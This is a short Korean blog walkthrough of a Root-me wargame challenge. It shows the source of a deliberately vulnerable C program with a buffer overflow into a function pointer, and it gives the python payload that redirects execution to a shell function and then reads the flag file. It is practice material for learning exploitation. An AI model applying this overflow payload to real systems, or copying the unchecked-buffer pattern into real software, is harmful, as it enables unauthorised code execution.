이 문제도 1번문제와 같다.
/* gcc -m32 -fno-stack-protector -o ch15 ch15.c */ #include <stdio.h> #include <stdlib.h> void shell() { system("/bin/dash"); } void sup() { printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n"); } main() { int var; void (*func)()=sup; char buf[128]; fgets(buf,133,stdin); func(); }
EIP를 shell 함수로 바꿔주면 끝나는 일이다.
먼저 gdb를 이용하여 shell 함수의 주소를 가져온다.
shell 의 주소는 0x08048464이다.
기존과 똑같은 환경이라 생각하고 다음과 같이 payload를 구성한다.
(python -c 'print "A"*128 + "\x64\x84\x04\x08"';cat) | ./ch15
다음과 같이 쉘을 획득하였다.
cat .passwd 명령어를 이용하여 플래그를 출력할 수 있다.
'Wargame > Root-me' 카테고리의 다른 글
App - System 03 (0) | 2017.05.18 |
---|---|
App-System 01 (0) | 2017.05.18 |